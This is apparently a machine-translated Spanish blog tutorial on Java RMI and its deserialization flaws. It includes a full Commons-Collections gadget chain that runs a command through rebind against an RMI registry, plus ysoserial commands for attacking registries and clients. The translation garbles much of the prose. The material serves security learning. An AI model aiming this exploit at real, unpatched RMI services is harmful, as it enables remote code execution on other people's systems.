Aprendizaje de seguridad de Javaweb: deserialización de RMI

RMI

RMI(Remote Method Invocation)Es decir, Javala invocación de métodos remotos, que RMIse utiliza para crear aplicaciones distribuidas, similar a RPC(Remote Procedure Call Protocol)远程过程调用协议la que RMIimplementa la comunicación remota Javaentre programas , de modo que un objeto en uno puede llamar a un método en otro (el método se ejecuta de forma remota y solo devuelve el resultado de la ejecución). Los dos pueden estar en diferentes procesos ejecutándose en la misma computadora, o en diferentes computadoras en la red.JVMJMVJMVJVMJVM

Arquitectura RMI:

RMI se divide en tres partes principales: Cliente, Servidor y Registro.

En la versión inferior del JDK, el Servidor y el Registro no pueden estar en el mismo servidor, pero en la versión superior del JDK, el Servidor y el Registro solo pueden estar en un servidor, de lo contrario, el registro no puede tener éxito.

En este artículo, tanto el servidor como el registro están del lado del servidor .

RegistryLa traducción es el registro, de hecho, es esencialmente un mapa (hashtable), que registra muchas relaciones vinculantes entre nombres y objetos, que son utilizados por el cliente para consultar la referencia del método a llamar. registryLa función es como, el paciente (cliente) se registra antes de ver a un médico (obtiene la IP, el puerto, el identificador del objeto remoto), y sabe en qué habitación ambulatoria está el médico (servidor) antes de ver a un médico (ejecuta el método remoto ).

RMILa comunicación subyacente usa el mecanismo de Stub(运行在客户端)suma , y ​​la llamada al método remoto es más o menos como sigue:Skeleton(运行在服务端)RMI

Todo el proceso se TCPconectará dos veces. La primera vez es para Clientobtener el nombre y el objeto, y la 绑定关系segunda vez es para conectarse Servery llamar al método remoto.

El primer TCP :

  1. RMI客户端Se crea primero cuando se llama a un método remoto Stub(sun.rmi.registry.RegistryImpl_Stub).

  2. Stubpasará Remoteun objeto 远程引用层(java.rmi.server.RemoteRef)y creará un java.rmi.server.RemoteCall(远程调用)objeto.

  3. RemoteCallSerialización RMI服务名称, RemoteObjeto.

  4. RMI客户端La información de la solicitud serializada se 远程引用层transmite a través de la conexión .RemoteCallSocketRMI服务端远程引用层

  5. RMI服务端La 远程引用层(sun.rmi.server.UnicastServerRef)solicitud recibida se pasará la solicitud a Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch).

  6. SkeletonLlame RemoteCalla deserializar la serialización RMI客户端pasada.

  7. SkeletonManejar las solicitudes del cliente: bind, list, lookup, rebind, unbind, si es lookupasí, busque RMI服务名el objeto de interfaz vinculado, serialice el objeto y páselo RemoteCallal cliente.

    Segundo TCP:

  8. RMI客户端Deserialice el resultado del lado del servidor para obtener una referencia al objeto remoto.

  9. RMI客户端Llame al método remoto, RMI服务端refleje RMI服务实现类el método correspondiente llamado y serialice el resultado de la ejecución y devuélvalo al cliente.

  10. RMI客户端Deserialice el RMIresultado de la llamada al método remoto.

Para obtener una referencia detallada del proceso de llamadas: https://blog.csdn.net/qsort_/article/details/104861625

https://www.cnblogs.com/yyhuni/p/15091121.html#registryimpl_stubbind

Se recomienda depurarlo antes de leer la deserialización en la segunda parte, y no lo repetiré aquí.

Lo siguiente proporciona una demostración de RMI más simple:

Servidor

package RMI;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMI_Server{
    
    
    public interface RMIHelloInterface extends Remote {
    
    
        String hello() throws RemoteException;
    }
    public class RMIHelloWorld extends UnicastRemoteObject implements RMIHelloInterface{
    
    
            protected RMIHelloWorld() throws RemoteException {
    
    
            super();
        }

        public String hello() throws RemoteException {
    
    
            return "Hello RMI~";
        }
    }
    private void start() throws Exception{
    
    
               //System.setProperty("java.rmi.server.hostname","vpsip");
        //RMISocketFactory.setSocketFactory(new CustomerSocketFactory());
        LocateRegistry.createRegistry(7999);
        RMIHelloWorld h = new RMIHelloWorld();
        //不用bind是防止测试的时候重复绑定导致失败
        Naming.rebind("rmi://localhost:7999/hello",h);
    }

    public static void main(String[] args) throws Exception {
    
    
        new RMI_Server().start();
    }
}

Cliente

package RMI;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMI_Client {
    
    
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
    
    
        RMI_Server.RMIHelloInterface hello = (RMI_Server.RMIHelloInterface) Naming.lookup("rmi://127.0.0.1:1099/hello");
        String ret = hello.hello();
        System.out.println(ret);
    }
}

inserte la descripción de la imagen aquí

Nombrar en el código es solo una clase de herramienta que encapsula la operación de registro.

Naming.rebind("//host/objName", myObj);
//而使用Registry,需要注册表对象上的现有句柄
Registry registry = LocateRegistry.getRegistry("host");
registry.rebind("objName", myObj);

inserte la descripción de la imagen aquí

Sin embargo, el servidor generalmente está en el vps de la red pública y el nombre de host es diferente de la IP de la red pública. Debe agregarse al comienzo del método hello del servidor.

System.setProperty("java.rmi.server.hostname","所部属的服务器公网Ip地址");

Establezca la variable IP del servidor en la variable global del sistema: el nombre de host de java rmi, que permite que el cliente se conecte al servidor.

Cuando el programa cliente solicita un objeto del servidor, el objeto stub devuelto contiene el servidor hostnamey las operaciones posteriores del cliente se conectan al servidor de acuerdo con este nombre de host. En el servidor, suele ser la dirección IP de la intranet.Si DHCP está habilitado en la máquina virtual VM, 127.0.1.1 newFQDN newHostnameprovocará una segunda solicitud de TCP para conectarse al RMIServer.

También debe especificar el puerto de comunicación (segundo TCP) para evitar la intercepción por parte del firewall, que debe llamarse antes de registrar el puerto

RMISocketFactory.setSocketFactory(new CustomerSocketFactory());

CustomerSocketFactory类:

package RMI;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.server.RMISocketFactory;

public class CustomerSocketFactory extends RMISocketFactory {
    
    
    @Override
    public Socket createSocket(String host, int port) throws IOException {
    
    
        return new Socket(host, port);
    }

    @Override
    public ServerSocket createServerSocket(int port) throws IOException {
    
    
        if (port == 0) {
    
    
            port = 7777;
        }
        System.out.println("rmi notify port:" + port);
        return new ServerSocket(port);
    }
}

Estas dos oraciones deben estar en la parte superior. Cuando comencé a probar, puse la creación de instancias de la clase que define la función remota en la parte superior, pero seguía recibiendo un error y no podía conectarme, y el puerto de comunicación especificado no funcionaba. trabajo tampoco.

Vulnerabilidad de deserialización de RMI

RMITodos los objetos en la comunicación se transmiten a través de la serialización de Java ( 客户端序列化,服务端反序列化), y habrá una operación readObject.Si se construye un objeto malicioso en el servidor, el objeto se serializa y transmite hasta el RMIServerfinal, y el RMIServerfinal se deserializará cuando está deserializado Activará una vulnerabilidad de deserialización.

La existencia de una vulnerabilidad de deserialización RMI debe cumplir dos condiciones:

  1. comunicación RMI
  2. El servidor de destino hace referencia a un paquete jar de terceros con vulnerabilidad de deserialización (p. ej.: commons-collections.jar 3.1)

El entorno de prueba también debe tenerse en cuenta que las siguientes versiones se han reparado a través del mecanismo JEP290,

  • Kit de desarrollo de Java™ SE 8, actualización 121 (JDK 8u121)
  • Kit de desarrollo de Java™ SE 7, actualización 131 (JDK 7u131)
  • Kit de desarrollo de Java™ SE 6, actualización 141 (JDK 6u141)

Este artículo se basa en la versión jdk1.7.0_80 para realizar pruebas.

Dado que se trata de una vulnerabilidad de deserialización, primero debe encontrar la ubicación de readObject. Analizando el proceso de comunicación RMI, se puede encontrar que la operación de serialización ocurre principalmente en Registryel proceso de comunicación con: es decir, la bind / lookupoperación

Si va a depurar dinámicamente el proceso de llamada, puede ver que el createRegistrymétodo del servidor obtiene el RegistryImplobjeto y el getRegistrymétodo obtiene el RegistryImpl_Stubobjeto.

Independientemente de si se trata de un método de uso común en el Servidor bind/rebindo un método de uso común en el Cliente, los lookup métodos anteriores finalmente manejarán 服务端los RegistryImpl_Skel#dispatchmétodos correspondientes a diferentes objetos, y los cinco métodos pueden llamarse en el Servidor/Cliente.
inserte la descripción de la imagen aquí

var3 es una matriz de tipo int, correspondiente a

  • 0->vincular
  • 1->lista
  • 2->buscar
  • 3->reenlazar
  • 4->desvincular

Puede ver que existen ambos enlaces/reenlaces .readObject(), entre los cuales se encuentra el objeto serializado malicioso var8que pasamos.RMIExploitRemote

inserte la descripción de la imagen aquí

buscar también tiene.readObject()
inserte la descripción de la imagen aquí

En este momento, regrese y observe el proceso de interacción RMI:

inserte la descripción de la imagen aquí

ClientPuede ser llamado y disparado Registrycuando se comunica con el Registro, luego puede atacar el Registro (servidor), además de devolver datos en forma serializada, debe ser deserializado cuando llega al cliente.Si se falsifica un servidor malicioso para permitir la conexión, se puede lograr el ataque correcto .bind&rebind / lookupreadObject()unbind&rebindRegistryClientClient

Ataque al servidor:

enlazar y volver a enlazar

Modifique el código de cliente a:

package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class RMI_Client {
    
    
    public static void main(String[] args) throws Exception {
    
    
        try {
    
    

            Transformer[] transformers = new Transformer[]{
    
    
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
    
    Object.class, Object[].class}, new Object[]{
    
    null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc.exe"}),
            };
            Transformer transformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map ouputMap = LazyMap.decorate(innerMap, transformer);

            TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException, tiedMapEntry);

            Map tmpMap = new HashMap();
            tmpMap.put("pwn", badAttributeValueExpException);
            Constructor<?> ctor = null;
            ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);
            Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMI_Client.class.getClassLoader(), new Class[]{
    
    Remote.class}, invocationHandler));
            Naming.rebind("rmi://localhost:7999/hello",remote);
        } catch (Exception e) {
    
    
            e.printStackTrace();
        }
}
}

De hecho, el gadget usa la clase proxy Remote y la envía al Registro a través de bind.
inserte la descripción de la imagen aquí

Este método de ataque se ha implementado en ysoserial.Configure CommonsCollections3.1 en el proyecto, luego inicie un registro RMI y luego ejecute:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "calc.exe"

buscar

Aprovecha al falsificar solicitudes de conexión, modifica el código del método de búsqueda para que pueda pasar el objeto: https://xz.aliyun.com/t/9053#toc-0

Cliente de ataque:

Forje un registro RMI malicioso utilizando JRMPListener de ysoserial:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7999  CommonsCollections1 'calc.exe'

inserte la descripción de la imagen aquí

inserte la descripción de la imagen aquí

Además, hay casos en los que se llama al método remoto para pasar el parámetro Objeto, el método remoto devuelve un Objeto, etc., así como la omisión de JEP290. Los siguientes artículos se han resuelto en detalle:

https://xz.aliyun.com/t/9053

https://www.anquanke.com/post/id/263726

https://paper.seebug.org/1194

Resumir

La transmisión de datos de RMI se basa en la transmisión de datos serializados, por lo que el registro, el cliente y el servidor de RMI pueden atacarse entre sí. Además, la versión de versión baja también usa código base para atacar.

Supongo que te gusta

Origin blog.csdn.net/weixin_43610673/article/details/124138537
Recomendado
Clasificación